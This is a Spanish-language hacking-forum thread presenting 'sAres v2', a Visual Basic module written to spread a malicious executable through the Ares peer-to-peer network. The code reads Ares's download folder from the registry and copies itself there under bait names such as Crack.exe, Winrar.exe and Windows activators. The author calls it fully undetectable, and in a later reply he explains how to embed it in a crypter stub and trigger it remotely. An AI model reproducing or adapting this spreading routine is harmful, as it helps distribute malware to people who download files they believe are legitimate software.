Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Módulo] sAres v2

  • 4 Respuestas
  • 3407 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
    • Ver Perfil
  • Skype: k0wsit0
« en: Octubre 14, 2012, 08:13:03 am »
Bueno, pues aca les dejo mi ultima creación:

Código: Visual Basic
  1.     '/**********************************************\
  2.    '/ Autor: k0ws                                 *\
  3.    '/ Webs: Underc[0]de.org & Udtools.net         *\
  4.    '/ Funcion: Propagar ejecutable via Ares       *\
  5.    '/ Anexo: El autor se exime de su mal uso      *\
  6.    '/ Uso: Call sAres()                           *\
  7.    '/ Si usas este o parte del codigo da creditos *\
  8.    '/**********************************************\
  9.    
  10.     Public Function sAres()
  11.     'Por si las moscas x)
  12.    On Error GoTo erroneo
  13.     'Definimos lo necesario (Rutas,nombres y el contador)
  14.    Dim n As Integer
  15.     Dim lector, ruta As String, rutaCom As String, listaNombres As String, nombresF() As String
  16.     'Leemos la ruta donde Ares guarda las descargas y la convertimos de Hexadecimal a Texto
  17.    Set lector = CreateObject("wscript.shell")
  18.     ruta = lector.RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder")
  19.     rutaCom = sConvert(ruta)
  20.     'Lista de nombres para autocopiarnos
  21.    listaNombres = "Crack.exe,Serial.exe,Winrar.exe,Winzip.exe,PhotoScape.exe,LiveMessenger2012.exe," _
  22.     & "DiabloIII.exe,DriverPackSolution.exe,MicrosoftOffice2010.exe,AdobePhotoshopCS6.exe,Activador.exe" _
  23.     & ",WindowsXPActivador.exe,Windows7Activador.exe"
  24.     'Nos copiammos usando un pequeño contador para el split ;)
  25.    For n = 0 To 12
  26.     nombresF() = Split(listaNombres, ",")
  27.     FileCopy App.Path & "\" & App.EXEName & ".exe", rutaCom & "\" & nombresF(n)
  28.     Next
  29.     erroneo:
  30.     End
  31.     End Function
  32.      
  33.     Public Function sConvert(ByVal hextext As String) As String 'Funcion para convertir Hexadecimal a exto
  34.       For y = 1 To Len(hextext)
  35.         num = Mid(hextext, y, 2)
  36.         Value = Value & Chr(Val("&h" & num))
  37.         y = y + 1
  38.     Next y
  39.     sConvert = Value
  40.     End Function

El modulo esta completamente FUD, no sean malos   :o

-Saludos-
« Última modificación: Enero 31, 2013, 02:09:47 pm por k0ws »

Desconectado Slore

  • *
  • Underc0der
  • Mensajes: 172
  • Actividad:
    0%
  • Reputación 0
  • OrwaySoftware
    • Ver Perfil
    • Email
  • Skype: OrwaySoftware
« Respuesta #1 en: Octubre 14, 2012, 11:56:38 am »
Gracias por compartir, aunque ares ya esta muy utilizado y ahora lo que se lleva es la de utorrent :$ jeje haber que puedes hacer amigo.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
    • Ver Perfil
  • Skype: k0wsit0
« Respuesta #2 en: Octubre 14, 2012, 04:48:33 pm »
Cuestion de ponerse manos a la obra, gracias por la idea  8)

-Saludos-

Desconectado mcr_bkn

  • *
  • Underc0der
  • Mensajes: 22
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Noviembre 13, 2012, 08:22:26 pm »
Hola, este código donde lo ingreso?? en el crypter?? disculpa si la pregunta es tonta... :D a ver si le puedes dar una referencia a los novatos gracias de ante mano!!!
Nunca consideres el estudio como una obligación, sino como una oportunidad para penetrar en el bello y maravilloso mundo del saber.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
    • Ver Perfil
  • Skype: k0wsit0
« Respuesta #4 en: Noviembre 20, 2012, 09:31:24 pm »
Lo ingresarias en el stub, y mediante un orden lo ejecutarias, en plan:

Código: [Seleccionar]
Dim SplittedData as String
SplittedData() = Split(Data,"@~~@")
If SplittedData(1) = "Spread" Then
Call sAres()
End If

-Saludos-

 

¿Te gustó el post? COMPARTILO!



Actualizador para tus programa [modulo]

Iniciado por alexander1712

Respuestas: 3
Vistas: 3380
Último mensaje Julio 14, 2016, 10:16:11 pm
por noxonsoftwares
Modulo Tratamiento de archivos

Iniciado por alexander1712

Respuestas: 0
Vistas: 3056
Último mensaje Enero 26, 2013, 12:56:47 pm
por alexander1712
mGeoIP [Modulo] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 1
Vistas: 1788
Último mensaje Febrero 28, 2011, 06:35:11 pm
por ANTRAX